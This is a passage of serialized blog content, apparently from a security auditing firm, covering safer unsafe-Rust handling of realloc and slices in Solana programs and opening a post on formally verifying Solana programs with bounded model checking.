",{"type":22,"tag":30,"props":22064,"children":22066},{"className":22065},[],[22067],{"type":27,"value":19502},{"type":27,"value":22069},"'s data. The fix here is simple: keep that ",{"type":22,"tag":30,"props":22071,"children":22073},{"className":22072},[],[22074],{"type":27,"value":20739},{"type":27,"value":22076}," around and use it to access the data, instead of using ",{"type":22,"tag":30,"props":22078,"children":22080},{"className":22079},[],[22081],{"type":27,"value":22082},"RefCell::as_ptr",{"type":27,"value":22084},". Next, the slice; again, the fix is simple. Instead of attempting to modify just the length field, and resorting to using layout information to do so since Rust slices are immutable, we can simply construct a new slice reference and set that. The Rust compiler",{"type":22,"tag":6802,"props":22086,"children":22087},{},[22088],{"type":22,"tag":80,"props":22089,"children":22093},{"href":22090,"ariaDescribedBy":22091,"dataFootnoteRef":7,"id":22092},"#user-content-fn-rustc-llvm",[6809],"user-content-fnref-rustc-llvm",[22094],{"type":27,"value":21526},{"type":27,"value":22096}," is smart enough to realize that the only thing changing is the length field, and so only emits the code to set the length",{"type":22,"tag":6802,"props":22098,"children":22099},{},[22100],{"type":22,"tag":80,"props":22101,"children":22105},{"href":22102,"ariaDescribedBy":22103,"dataFootnoteRef":7,"id":22104},"#user-content-fn-godbolt",[6809],"user-content-fnref-godbolt",[22106],{"type":27,"value":22107},"5",{"type":27,"value":22109},". So then we get:",{"type":22,"tag":91,"props":22111,"children":22113},{"className":93,"code":22112,"language":95,"meta":7,"style":7},"let mut slice = self.try_borrow_mut_data()?;\n\n// First set new length in the serialized data\nlet ptr = unsafe { slice.as_mut_ptr().offset(-8) } as *mut u64;\nunsafe { *ptr = new_len as u64 };\n\n// Then set the new length in the local slice\n*slice = unsafe { std::slice::from_raw_parts_mut(slice.as_mut_ptr(), new_len) };\n",[22114],{"type":22,"tag":30,"props":22115,"children":22116},{"__ignoreMap":7},[22117,22161,22168,22175,22259,22299,22306,22313],{"type":22,"tag":101,"props":22118,"children":22119},{"class":103,"line":104},[22120,22124,22128,22133,22137,22141,22145,22149,22153,22157],{"type":22,"tag":101,"props":22121,"children":22122},{"style":108},[22123],{"type":27,"value":15792},{"type":22,"tag":101,"props":22125,"children":22126},{"style":108},[22127],{"type":27,"value":7052},{"type":22,"tag":101,"props":22129,"children":22130},{"style":126},[22131],{"type":27,"value":22132}," slice",{"type":22,"tag":101,"props":22134,"children":22135},{"style":166},[22136],{"type":27,"value":960},{"type":22,"tag":101,"props":22138,"children":22139},{"style":108},[22140],{"type":27,"value":17799},{"type":22,"tag":101,"props":22142,"children":22143},{"style":166},[22144],{"type":27,"value":231},{"type":22,"tag":101,"props":22146,"children":22147},{"style":926},[22148],{"type":27,"value":17876},{"type":22,"tag":101,"props":22150,"children":22151},{"style":120},[22152],{"type":27,"value":17881},{"type":22,"tag":101,"props":22154,"children":22155},{"style":166},[22156],{"type":27,"value":5455},{"type":22,"tag":101,"props":22158,"children":22159},{"style":120},[22160],{"type":27,"value":1520},{"type":22,"tag":101,"props":22162,"children":22163},{"class":103,"line":157},[22164],{"type":22,"tag":101,"props":22165,"children":22166},{"emptyLinePlaceholder":15},[22167],{"type":27,"value":1581},{"type":22,"tag":101,"props":22169,"children":22170},{"class":103,"line":182},[22171],{"type":22,"tag":101,"props":22172,"children":22173},{"style":2215},[22174],{"type":27,"value":18405},{"type":22,"tag":101,"props":22176,"children":22177},{"class":103,"line":367},[22178,22182,22186,22190,22194,22198,22202,22206,22210,22214,22218,22222,22226,22230,22234,22239,22243,22247,22251,22255],{"type":22,"tag":101,"props":22179,"children":22180},{"style":108},[22181],{"type":27,"value":15792},{"type":22,"tag":101,"props":22183,"children":22184},{"style":126},[22185],{"type":27,"value":17859},{"type":22,"tag":101,"props":22187,"children":22188},{"style":166},[22189],{"type":27,"value":960},{"type":22,"tag":101,"props":22191,"children":22192},{"style":108},[22193],{"type":27,"value":18592},{"type":22,"tag":101,"props":22195,"children":22196},{"style":120},[22197],{"type":27,"value":1479},{"type":22,"tag":101,"props":22199,"children":22200},{"style":126},[22201],{"type":27,"value":19314},{"type":22,"tag":101,"props":22203,"children":22204},{"style":166},[22205],{"type":27,"value":231},{"type":22,"tag":101,"props":22207,"children":22208},{"style":926},[22209],{"type":27,"value":17890},{"type":22,"tag":101,"props":22211,"children":22212},{"style":120},[22213],{"type":27,"value":17881},{"type":22,"tag":101,"props":22215,"children":22216},{"style":166},[22217],{"type":27,"value":231},{"type":22,"tag":101,"props":22219,"children":22220},{"style":926},[22221],{"type":27,"value":17903},{"type":22,"tag":101,"props":22223,"children":22224},{"style":120},[22225],{"type":27,"value":980},{"type":22,"tag":101,"props":22227,"children":22228},{"style":166},[22229],{"type":27,"value":8372},{"type":22,"tag":101,"props":22231,"children":22232},{"style":1544},[22233],{"type":27,"value":8119},{"type":22,"tag":101,"props":22235,"children":22236},{"style":120},[22237],{"type":27,"value":22238},") } ",{"type":22,"tag":101,"props":22240,"children":22241},{"style":108},[22242],{"type":27,"value":12849},{"type":22,"tag":101,"props":22244,"children":22245},{"style":166},[22246],{"type":27,"value":13822},{"type":22,"tag":101,"props":22248,"children":22249},{"style":108},[22250],{"type":27,"value":7760},{"type":22,"tag":101,"props":22252,"children":22253},{"style":114},[22254],{"type":27,"value":174},{"type":22,"tag":101,"props":22256,"children":22257},{"style":120},[22258],{"type":27,"value":1520},{"type":22,"tag":101,"props":22260,"children":22261},{"class":103,"line":398},[22262,22266,22270,22274,22278,22282,22286,22290,22294],{"type":22,"tag":101,"props":22263,"children":22264},{"style":108},[22265],{"type":27,"value":18358},{"type":22,"tag":101,"props":22267,"children":22268},{"style":120},[22269],{"type":27,"value":1479},{"type":22,"tag":101,"props":22271,"children":22272},{"style":166},[22273],{"type":27,"value":8615},{"type":22,"tag":101,"props":22275,"children":22276},{"style":126},[22277],{"type":27,"value":17951},{"type":22,"tag":101,"props":22279,"children":22280},{"style":166},[22281],{"type":27,"value":960},{"type":22,"tag":101,"props":22283,"children":22284},{"style":126},[22285],{"type":27,"value":17960},{"type":22,"tag":101,"props":22287,"children":22288},{"style":108},[22289],{"type":27,"value":12835},{"type":22,"tag":101,"props":22291,"children":22292},{"style":114},[22293],{"type":27,"value":174},{"type":22,"tag":101,"props":22295,"children":22296},{"style":120},[22297],{"type":27,"value":22298}," };\n",{"type":22,"tag":101,"props":22300,"children":22301},{"class":103,"line":428},[22302],{"type":22,"tag":101,"props":22303,"children":22304},{"emptyLinePlaceholder":15},[22305],{"type":27,"value":1581},{"type":22,"tag":101,"props":22307,"children":22308},{"class":103,"line":997},[22309],{"type":22,"tag":101,"props":22310,"children":22311},{"style":2215},[22312],{"type":27,"value":20138},{"type":22,"tag":101,"props":22314,"children":22315},{"class":103,"line":1032},[22316,22320,22324,22328,22332,22337,22341,22345,22349,22354,22358,22362,22366,22370,22374,22378],{"type":22,"tag":101,"props":22317,"children":22318},{"style":166},[22319],{"type":27,"value":8615},{"type":22,"tag":101,"props":22321,"children":22322},{"style":126},[22323],{"type":27,"value":19314},{"type":22,"tag":101,"props":22325,"children":22326},{"style":166},[22327],{"type":27,"value":960},{"type":22,"tag":101,"props":22329,"children":22330},{"style":108},[22331],{"type":27,"value":18592},{"type":22,"tag":101,"props":22333,"children":22334},{"style":120},[22335],{"type":27,"value":22336}," { std",{"type":22,"tag":101,"props":22338,"children":22339},{"style":166},[22340],{"type":27,"value":970},{"type":22,"tag":101,"props":22342,"children":22343},{"style":120},[22344],{"type":27,"value":19314},{"type":22,"tag":101,"props":22346,"children":22347},{"style":166},[22348],{"type":27,"value":970},{"type":22,"tag":101,"props":22350,"children":22351},{"style":926},[22352],{"type":27,"value":22353},"from_raw_parts_mut",{"type":22,"tag":101,"props":22355,"children":22356},{"style":120},[22357],{"type":27,"value":980},{"type":22,"tag":101,"props":22359,"children":22360},{"style":126},[22361],{"type":27,"value":19314},{"type":22,"tag":101,"props":22363,"children":22364},{"style":166},[22365],{"type":27,"value":231},{"type":22,"tag":101,"props":22367,"children":22368},{"style":926},[22369],{"type":27,"value":17890},{"type":22,"tag":101,"props":22371,"children":22372},{"style":120},[22373],{"type":27,"value":1147},{"type":22,"tag":101,"props":22375,"children":22376},{"style":126},[22377],{"type":27,"value":17724},{"type":22,"tag":101,"props":22379,"children":22380},{"style":120},[22381],{"type":27,"value":18747},{"type":22,"tag":23,"props":22383,"children":22384},{},[22385,22387,22392,22394,22399,22401,22406,22408],{"type":27,"value":22386},"No more pointer casting except for the one place that actually needs it (since the ABI for the serialized buffer uses a ",{"type":22,"tag":30,"props":22388,"children":22390},{"className":22389},[],[22391],{"type":27,"value":12052},{"type":27,"value":22393}," and not a ",{"type":22,"tag":30,"props":22395,"children":22397},{"className":22396},[],[22398],{"type":27,"value":20600},{"type":27,"value":22400}," for the size field, given that ",{"type":22,"tag":30,"props":22402,"children":22404},{"className":22403},[],[22405],{"type":27,"value":20600},{"type":27,"value":22407}," is architecture-dependent), and no dependency on slice reference internals!",{"type":22,"tag":6802,"props":22409,"children":22410},{},[22411],{"type":22,"tag":80,"props":22412,"children":22416},{"href":22413,"ariaDescribedBy":22414,"dataFootnoteRef":7,"id":22415},"#user-content-fn-slice-unbound-lifetime",[6809],"user-content-fnref-slice-unbound-lifetime",[22417],{"type":27,"value":22418},"6",{"type":22,"tag":6815,"props":22420,"children":22422},{"className":22421,"dataFootnotes":7},[6818],[22423,22428],{"type":22,"tag":53,"props":22424,"children":22426},{"className":22425,"id":6809},[6823],[22427],{"type":27,"value":6826},{"type":22,"tag":6828,"props":22429,"children":22430},{},[22431,22532,22550,22605,22618,22646],{"type":22,"tag":6832,"props":22432,"children":22434},{"id":22433},"user-content-fn-rc-refs",[22435,22437,22443,22445,22450,22452,22456,22458,22462,22464,22469,22471,22477,22479,22484,22486,22496,22498,22503,22505,22510,22512,22517,22519,22525,22526],{"type":27,"value":22436},"I find it helpful to view owning an ",{"type":22,"tag":30,"props":22438,"children":22440},{"className":22439},[],[22441],{"type":27,"value":22442},"Rc\u003CT>",{"type":27,"value":22444}," as holding a shared reference to the underlying ",{"type":22,"tag":30,"props":22446,"children":22448},{"className":22447},[],[22449],{"type":27,"value":840},{"type":27,"value":22451}," (stored in the magical land of I-don't-need-to-care-about-this-object-not-living-long-enough known as the heap). Owning the ",{"type":22,"tag":6961,"props":22453,"children":22454},{},[22455],{"type":27,"value":20456},{"type":27,"value":22457}," ensures that the actual ",{"type":22,"tag":6961,"props":22459,"children":22460},{},[22461],{"type":27,"value":7738},{"type":27,"value":22463}," stays alive, however all you have is a reference to the ",{"type":22,"tag":30,"props":22465,"children":22467},{"className":22466},[],[22468],{"type":27,"value":840},{"type":27,"value":22470}," (through the ",{"type":22,"tag":30,"props":22472,"children":22474},{"className":22473},[],[22475],{"type":27,"value":22476},"Deref\u003CTarget = T>",{"type":27,"value":22478}," impl) - ",{"type":22,"tag":6961,"props":22480,"children":22481},{},[22482],{"type":27,"value":22483},"not",{"type":27,"value":22485}," ownership ",{"type":22,"tag":6961,"props":22487,"children":22488},{},[22489,22491],{"type":27,"value":22490},"of the ",{"type":22,"tag":30,"props":22492,"children":22494},{"className":22493},[],[22495],{"type":27,"value":840},{"type":27,"value":22497},". In short, owning an ",{"type":22,"tag":30,"props":22499,"children":22501},{"className":22500},[],[22502],{"type":27,"value":22442},{"type":27,"value":22504}," is owning a (shared, read-only) reference to ",{"type":22,"tag":30,"props":22506,"children":22508},{"className":22507},[],[22509],{"type":27,"value":840},{"type":27,"value":22511},", not owning ",{"type":22,"tag":30,"props":22513,"children":22515},{"className":22514},[],[22516],{"type":27,"value":840},{"type":27,"value":22518}," directly like with ",{"type":22,"tag":30,"props":22520,"children":22522},{"className":22521},[],[22523],{"type":27,"value":22524},"Box\u003CT>",{"type":27,"value":3415},{"type":22,"tag":80,"props":22527,"children":22530},{"href":22528,"ariaLabel":6884,"className":22529,"dataFootnoteBackref":7},"#user-content-fnref-rc-refs",[6886],[22531],{"type":27,"value":6889},{"type":22,"tag":6832,"props":22533,"children":22535},{"id":22534},"user-content-fn-sendsync",[22536,22542,22543],{"type":22,"tag":30,"props":22537,"children":22539},{"className":22538},[],[22540],{"type":27,"value":22541},"!Send + !Sync",{"type":27,"value":2169},{"type":22,"tag":80,"props":22544,"children":22548},{"href":22545,"ariaLabel":22546,"className":22547,"dataFootnoteBackref":7},"#user-content-fnref-sendsync","Back to reference 2",[6886],[22549],{"type":27,"value":6889},{"type":22,"tag":6832,"props":22551,"children":22553},{"id":22552},"user-content-fn-layout",[22554,22556,22561,22562,22575,22577,22582,22584,22589,22591,22596,22598],{"type":27,"value":22555},"Note that this is a terrible idea for yet another reason: ",{"type":22,"tag":30,"props":22557,"children":22559},{"className":22558},[],[22560],{"type":27,"value":18940},{"type":27,"value":78},{"type":22,"tag":80,"props":22563,"children":22566},{"href":22564,"rel":22565},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#15-33",[84],[22567,22569],{"type":27,"value":22568},"not declared with ",{"type":22,"tag":30,"props":22570,"children":22572},{"className":22571},[],[22573],{"type":27,"value":22574},"#[repr(C)]",{"type":27,"value":22576},", meaning that, once again, we're dealing with no layout guarantees. But thanks to the power of blockchain, fixing this ABI interface ",{"type":22,"tag":6961,"props":22578,"children":22579},{},[22580],{"type":27,"value":22581},"breaks the entire chain",{"type":27,"value":22583}," since old contracts will no longer work. So, we're stuck with cobbling together ",{"type":22,"tag":6961,"props":22585,"children":22586},{},[22587],{"type":27,"value":22588},"some",{"type":27,"value":22590}," kind of interface to the specific layout of the specific ",{"type":22,"tag":30,"props":22592,"children":22594},{"className":22593},[],[22595],{"type":27,"value":20508},{"type":27,"value":22597}," versions used to build on-chain code for all eternity... ",{"type":22,"tag":80,"props":22599,"children":22603},{"href":22600,"ariaLabel":22601,"className":22602,"dataFootnoteBackref":7},"#user-content-fnref-layout","Back to reference 3",[6886],[22604],{"type":27,"value":6889},{"type":22,"tag":6832,"props":22606,"children":22608},{"id":22607},"user-content-fn-rustc-llvm",[22609,22611],{"type":27,"value":22610},"Actually, it's LLVM that does the optimization ",{"type":22,"tag":80,"props":22612,"children":22616},{"href":22613,"ariaLabel":22614,"className":22615,"dataFootnoteBackref":7},"#user-content-fnref-rustc-llvm","Back to reference 4",[6886],[22617],{"type":27,"value":6889},{"type":22,"tag":6832,"props":22619,"children":22621},{"id":22620},"user-content-fn-godbolt",[22622,22629,22631,22637,22639],{"type":22,"tag":80,"props":22623,"children":22626},{"href":22624,"rel":22625},"https://godbolt.org/z/PK46xMbxc",[84],[22627],{"type":27,"value":22628},"Click here",{"type":27,"value":22630}," for a Compiler Explorer link showing this - note that the code for both implementations is almost identical. And yes, it's x86_64 and not eBPF, but unfortunately Compiler Explorer doesn't have Rust ",{"type":22,"tag":30,"props":22632,"children":22634},{"className":22633},[],[22635],{"type":27,"value":22636},"libcore",{"type":27,"value":22638}," available for other architectures yet. ",{"type":22,"tag":80,"props":22640,"children":22644},{"href":22641,"ariaLabel":22642,"className":22643,"dataFootnoteBackref":7},"#user-content-fnref-godbolt","Back to reference 5",[6886],[22645],{"type":27,"value":6889},{"type":22,"tag":6832,"props":22647,"children":22649},{"id":22648},"user-content-fn-slice-unbound-lifetime",[22650,22652,22657,22659,22665,22667,22673,22675,22681,22683,22689,22691,22697,22699,22704,22706],{"type":27,"value":22651},"The astute reader may have noticed that ",{"type":22,"tag":30,"props":22653,"children":22655},{"className":22654},[],[22656],{"type":27,"value":22353},{"type":27,"value":22658}," still returns an unbounded lifetime (notice in the signature ",{"type":22,"tag":30,"props":22660,"children":22662},{"className":22661},[],[22663],{"type":27,"value":22664},"unsafe fn from_raw_parts_mut\u003C'a, T>(data: *mut T, len: usize) -> &'a mut [T]",{"type":27,"value":22666},", the lifetime parameter ",{"type":22,"tag":30,"props":22668,"children":22670},{"className":22669},[],[22671],{"type":27,"value":22672},"'a",{"type":27,"value":22674}," does not appear in the arguments). However, we immediately constrain the lifetime by assigning it to ",{"type":22,"tag":30,"props":22676,"children":22678},{"className":22677},[],[22679],{"type":27,"value":22680},"*slice",{"type":27,"value":22682},", which is ",{"type":22,"tag":30,"props":22684,"children":22686},{"className":22685},[],[22687],{"type":27,"value":22688},"&'info [u8]",{"type":27,"value":22690}," (where ",{"type":22,"tag":30,"props":22692,"children":22694},{"className":22693},[],[22695],{"type":27,"value":22696},"'info",{"type":27,"value":22698}," is the lifetime parameter of the ",{"type":22,"tag":30,"props":22700,"children":22702},{"className":22701},[],[22703],{"type":27,"value":18940},{"type":27,"value":22705}," struct) - this is exactly the lifetime we started with. ",{"type":22,"tag":80,"props":22707,"children":22711},{"href":22708,"ariaLabel":22709,"className":22710,"dataFootnoteBackref":7},"#user-content-fnref-slice-unbound-lifetime","Back to reference 6",[6886],[22712],{"type":27,"value":6889},{"type":22,"tag":6891,"props":22714,"children":22715},{},[22716],{"type":27,"value":6895},{"title":7,"searchDepth":157,"depth":157,"links":22718},[22719,22725,22729,22730,22732],{"id":18370,"depth":157,"text":22720,"children":22721},"Breaking down realloc",[22722,22723],{"id":18536,"depth":182,"text":18539},{"id":19890,"depth":182,"text":22724},"Back to realloc",{"id":20840,"depth":157,"text":20843,"children":22726},[22727,22728],{"id":20846,"depth":182,"text":20849},{"id":21068,"depth":182,"text":21071},{"id":21255,"depth":157,"text":21258},{"id":21657,"depth":157,"text":22731},"Towards safer unsafe",{"id":6809,"depth":157,"text":6826},"content:blog:2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references",{"_path":22737,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":22738,"description":22739,"author":22740,"image":22741,"date":22743,"isFeatured":15,"onBlogPage":15,"tags":22744,"body":22745,"_type":6912,"_id":32998,"_source":6914,"_file":32999,"_stem":33000,"_extension":6917},"/blog/2023-01-26-formally-verifying-solana-programs","Solana Formal Verification: A Case Study","We present a novel framework for formal verification of Solana Anchor programs — and a case study application to the Squads multisig.","harrison",{"src":22742,"height":17625,"width":17626},"/posts/formally-verifying-solana-programs/formal-verification-title.jpg","2023-01-26",[6929,6930],{"type":19,"children":22746,"toc":32970},[22747,22752,22757,22783,22786,22798,22821,22844,22856,22879,22882,22889,22938,22944,22950,22955,22966,23007,23012,23018,23023,23256,23276,23281,23286,23359,23364,23434,23448,23873,23893,23899,23918,23923,23928,23933,23939,23951,23986,23997,24008,24020,24025,24057,24081,24100,24106,24123,24129,24156,24161,24181,24193,24337,24365,24368,24380,24462,24481,24484,24523,24689,24694,24700,24712,24731,24744,24904,24916,24929,25403,25408,25455,25461,25479,25548,25786,26000,26005,26079,26127,26132,26138,26240,26344,26349,26412,26417,26423,26488,26493,26535,26561,26567,26636,26641,26691,26702,26708,26719,26740,26745,26750,26773,26779,26791,26811,27926,27945,27996,28001,28009,28021,28026,28034,28039,28055,28091,28096,28190,28195,28203,28208,28320,28325,28333,28346,28510,28515,28523,28528,28533,28601,28635,28641,28646,28657,28675,29053,29065,29077,29085,29096,29127,29132,29140,29145,29417,29436,29441,29467,30335,30347,30446,30458,30500,30505,30517,30525,30530,30542,30568,30728,30740,30748,30753,31029,31034,31046,31201,31221,31547,31581,31775,31808,31820,31942,31962,31967,31972,31977,31990,31998,32003,32478,32490,32495,32507,32512,32771,32797,32802,32808,32814,32826,32838,32857,32904,32909,32915,32920,32925,32930,32934,32939,32944,32947,32966],{"type":22,"tag":23,"props":22748,"children":22749},{},[22750],{"type":27,"value":22751},"Since the early days of computing, bugs have crept their way into programs and wreaked havoc on the intentions of the programmer. Logical fallacies, race conditions, or simple typos could manifest as crashes or lay undetected, silently breaking the functionality of the host program.",{"type":22,"tag":23,"props":22753,"children":22754},{},[22755],{"type":27,"value":22756},"When your program is connected to the internet, there is the new risk that bugs may introduce security holes into your system. Even simple buffer overflows can be exploited by skilled attackers to compromise the integrity of your program.",{"type":22,"tag":23,"props":22758,"children":22759},{},[22760,22762,22766,22768,22773,22775,22782],{"type":27,"value":22761},"In the world of Web3 we create programs that talk to strangers ",{"type":22,"tag":6961,"props":22763,"children":22764},{},[22765],{"type":27,"value":20370},{"type":27,"value":22767}," control millions of dollars 🤑. Bugs in these programs are some of the ",{"type":22,"tag":6961,"props":22769,"children":22770},{},[22771],{"type":27,"value":22772},"juciest",{"type":27,"value":22774},"; anonymous attackers that can find and exploit them will walk away with potentially ",{"type":22,"tag":80,"props":22776,"children":22779},{"href":22777,"rel":22778},"https://rekt.news/leaderboard/",[84],[22780],{"type":27,"value":22781},"hundreds of millions of dollars",{"type":27,"value":231},{"type":22,"tag":1398,"props":22784,"children":22785},{},[],{"type":22,"tag":23,"props":22787,"children":22788},{},[22789,22791,22796],{"type":27,"value":22790},"At OtterSec we are ",{"type":22,"tag":6961,"props":22792,"children":22793},{},[22794],{"type":27,"value":22795},"highly skilled in pest control",{"type":27,"value":22797}," - finding and squashing bugs before they are exploited by less well-intentioned hackers. We are constantly striving to improve our techniques and develop new technologies that aid in our auditing processes.",{"type":22,"tag":23,"props":22799,"children":22800},{},[22801,22803,22810,22812,22819],{"type":27,"value":22802},"Recently we were contacted by the ",{"type":22,"tag":80,"props":22804,"children":22807},{"href":22805,"rel":22806},"https://squads.so/",[84],[22808],{"type":27,"value":22809},"Squads team",{"type":27,"value":22811}," to explore how formal verification could be used to verify security-critical properties of Solana programs. We were really excited about this opportunity and have been developing a prototype with the ",{"type":22,"tag":80,"props":22813,"children":22816},{"href":22814,"rel":22815},"https://github.com/Squads-Protocol/squads-mpl",[84],[22817],{"type":27,"value":22818},"Squads Multisig Program",{"type":27,"value":22820}," as our main case study.",{"type":22,"tag":23,"props":22822,"children":22823},{},[22824,22826,22833,22835,22842],{"type":27,"value":22825},"We now have a (mostly) working prototype that can be used to formally verify critical properties of Solana programs in order to ensure a higher level of security. Our tool integrates with ",{"type":22,"tag":80,"props":22827,"children":22830},{"href":22828,"rel":22829},"https://www.anchor-lang.com/",[84],[22831],{"type":27,"value":22832},"anchor-lang",{"type":27,"value":22834}," and provides new APIs to specify invariants for your Solana code. It then autogenerates proof harnesses which are verified with the ",{"type":22,"tag":80,"props":22836,"children":22839},{"href":22837,"rel":22838},"https://github.com/model-checking/kani",[84],[22840],{"type":27,"value":22841},"Kani Rust Verifier",{"type":27,"value":22843},". Additionally, we are implementing a formal-verification-friendly runtime SDK layer that accelerates the expensive process of running formal verification tools on complex code.",{"type":22,"tag":23,"props":22845,"children":22846},{},[22847,22849,22854],{"type":27,"value":22848},"In this blog post, we're excited to share our progress and the challenges we've encountered during the process. We will describe the main concepts behind ",{"type":22,"tag":6961,"props":22850,"children":22851},{},[22852],{"type":27,"value":22853},"bounded model checking",{"type":27,"value":22855}," (our formal verification method of choice) and explain how we've applied these concepts to Solana.",{"type":22,"tag":23,"props":22857,"children":22858},{},[22859],{"type":22,"tag":6961,"props":22860,"children":22861},{},[22862,22864,22871,22873],{"type":27,"value":22863},"If you're interested in learning more or getting your own programs formally verified, let us know! We'd be excited to chat with you! — Fill out ",{"type":22,"tag":80,"props":22865,"children":22868},{"href":22866,"rel":22867},"https://osec.io/contact",[84],[22869],{"type":27,"value":22870},"this form",{"type":27,"value":22872}," or email us at ",{"type":22,"tag":80,"props":22874,"children":22876},{"href":22875},"mailto:contact@osec.io",[22877],{"type":27,"value":22878},"contact@osec.io",{"type":22,"tag":1398,"props":22880,"children":22881},{},[],{"type":22,"tag":22883,"props":22884,"children":22886},"h4",{"id":22885},"contents",[22887],{"type":27,"value":22888},"Contents:",{"type":22,"tag":6828,"props":22890,"children":22891},{},[22892,22897,22914,22924,22929,22934],{"type":22,"tag":6832,"props":22893,"children":22894},{},[22895],{"type":27,"value":22896},"Formal Verification with Bounded Model Checking\na. Overview\nb. A simple example\nc. Loop bounds & path explosion\nd. The Kani Rust Verifier",{"type":22,"tag":6832,"props":22898,"children":22899},{},[22900,22905,22907,22912],{"type":22,"tag":9370,"props":22901,"children":22902},{},[22903],{"type":27,"value":22904},"Specification",{"type":27,"value":22906},": How can we describe what we ",{"type":22,"tag":6961,"props":22908,"children":22909},{},[22910],{"type":27,"value":22911},"want",{"type":27,"value":22913}," our program to do?",{"type":22,"tag":6832,"props":22915,"children":22916},{},[22917,22922],{"type":22,"tag":9370,"props":22918,"children":22919},{},[22920],{"type":27,"value":22921},"Verification",{"type":27,"value":22923},": How do we check that our model is correct?",{"type":22,"tag":6832,"props":22925,"children":22926},{},[22927],{"type":27,"value":22928},"Case Study: Squads Multisig",{"type":22,"tag":6832,"props":22930,"children":22931},{},[22932],{"type":27,"value":22933},"Additional challenges in Solana",{"type":22,"tag":6832,"props":22935,"children":22936},{},[22937],{"type":27,"value":6779},{"type":22,"tag":53,"props":22939,"children":22941},{"id":22940},"formal-verification-with-bounded-model-checking",[22942],{"type":27,"value":22943},"Formal Verification with Bounded Model Checking",{"type":22,"tag":1760,"props":22945,"children":22947},{"id":22946},"overview",[22948],{"type":27,"value":22949},"Overview",{"type":22,"tag":23,"props":22951,"children":22952},{},[22953],{"type":27,"value":22954},"Formal verification is the process of using a formal specification to verify the correctness of a system. In this case, the systems we are verifying are programs written in Rust that run on the Solana blockchain.",{"type":22,"tag":23,"props":22956,"children":22957},{},[22958,22960,22965],{"type":27,"value":22959},"There are many different flavors of formal verification, however in this research we are using ",{"type":22,"tag":9370,"props":22961,"children":22962},{},[22963],{"type":27,"value":22964},"bounded model checking (BMC)",{"type":27,"value":231},{"type":22,"tag":23,"props":22967,"children":22968},{},[22969,22971,22976,22978,22983,22985,22989,22991,22997,22999,23005],{"type":27,"value":22970},"In short, the idea of BMC is to execute our program ",{"type":22,"tag":6961,"props":22972,"children":22973},{},[22974],{"type":27,"value":22975},"symbolically",{"type":27,"value":22977}," rather than ",{"type":22,"tag":6961,"props":22979,"children":22980},{},[22981],{"type":27,"value":22982},"concretely",{"type":27,"value":22984},". Instead of actually performing an ",{"type":22,"tag":6961,"props":22986,"children":22987},{},[22988],{"type":27,"value":13643},{"type":27,"value":22990}," when we see the line ",{"type":22,"tag":30,"props":22992,"children":22994},{"className":22993},[],[22995],{"type":27,"value":22996},"int x = a + b",{"type":27,"value":22998},", we store the symbolic expression ",{"type":22,"tag":30,"props":23000,"children":23002},{"className":23001},[],[23003],{"type":27,"value":23004},"x == a + b",{"type":27,"value":23006},". We do this for every line and once we reach the end of the program we have compiled a huge list of symbolic expressions. At this point, we can feed these expressions to a SMT solver along with a correctness property P in order to check if our program satisfies this property.",{"type":22,"tag":23,"props":23008,"children":23009},{},[23010],{"type":27,"value":23011},"If we hit a branch as we are tracing the program, we will take both sides of the branch adding the positive branch condition as a constraint to one side and the negative condition to the other side.",{"type":22,"tag":1760,"props":23013,"children":23015},{"id":23014},"a-simple-example",[23016],{"type":27,"value":23017},"A simple example",{"type":22,"tag":23,"props":23019,"children":23020},{},[23021],{"type":27,"value":23022},"As an example, consider the following function:",{"type":22,"tag":91,"props":23024,"children":23026},{"code":23025,"language":7187,"meta":7,"className":20513,"style":7},"int foo(int x) {\n int y = x + 3;\n int z;\n if (y > 100) {\n z = y * 2;\n } else {\n z = y + 1;\n }\n\n // Property P:\n assert(z != 105);\n}\n",[23027],{"type":22,"tag":30,"props":23028,"children":23029},{"__ignoreMap":7},[23030,23060,23094,23106,23131,23159,23174,23201,23208,23215,23223,23249],{"type":22,"tag":101,"props":23031,"children":23032},{"class":103,"line":104},[23033,23038,23043,23047,23051,23056],{"type":22,"tag":101,"props":23034,"children":23035},{"style":108},[23036],{"type":27,"value":23037},"int",{"type":22,"tag":101,"props":23039,"children":23040},{"style":926},[23041],{"type":27,"value":23042}," foo",{"type":22,"tag":101,"props":23044,"children":23045},{"style":120},[23046],{"type":27,"value":980},{"type":22,"tag":101,"props":23048,"children":23049},{"style":108},[23050],{"type":27,"value":23037},{"type":22,"tag":101,"props":23052,"children":23053},{"style":126},[23054],{"type":27,"value":23055}," x",{"type":22,"tag":101,"props":23057,"children":23058},{"style":120},[23059],{"type":27,"value":1463},{"type":22,"tag":101,"props":23061,"children":23062},{"class":103,"line":157},[23063,23068,23072,23076,23081,23085,23090],{"type":22,"tag":101,"props":23064,"children":23065},{"style":108},[23066],{"type":27,"value":23067}," int",{"type":22,"tag":101,"props":23069,"children":23070},{"style":120},[23071],{"type":27,"value":8559},{"type":22,"tag":101,"props":23073,"children":23074},{"style":166},[23075],{"type":27,"value":1511},{"type":22,"tag":101,"props":23077,"children":23078},{"style":120},[23079],{"type":27,"value":23080}," x ",{"type":22,"tag":101,"props":23082,"children":23083},{"style":166},[23084],{"type":27,"value":8426},{"type":22,"tag":101,"props":23086,"children":23087},{"style":1544},[23088],{"type":27,"value":23089}," 3",{"type":22,"tag":101,"props":23091,"children":23092},{"style":120},[23093],{"type":27,"value":1520},{"type":22,"tag":101,"props":23095,"children":23096},{"class":103,"line":182},[23097,23101],{"type":22,"tag":101,"props":23098,"children":23099},{"style":108},[23100],{"type":27,"value":23067},{"type":22,"tag":101,"props":23102,"children":23103},{"style":120},[23104],{"type":27,"value":23105}," z;\n",{"type":22,"tag":101,"props":23107,"children":23108},{"class":103,"line":367},[23109,23113,23118,23122,23127],{"type":22,"tag":101,"props":23110,"children":23111},{"style":3595},[23112],{"type":27,"value":16283},{"type":22,"tag":101,"props":23114,"children":23115},{"style":120},[23116],{"type":27,"value":23117}," (y ",{"type":22,"tag":101,"props":23119,"children":23120},{"style":166},[23121],{"type":27,"value":14467},{"type":22,"tag":101,"props":23123,"children":23124},{"style":1544},[23125],{"type":27,"value":23126}," 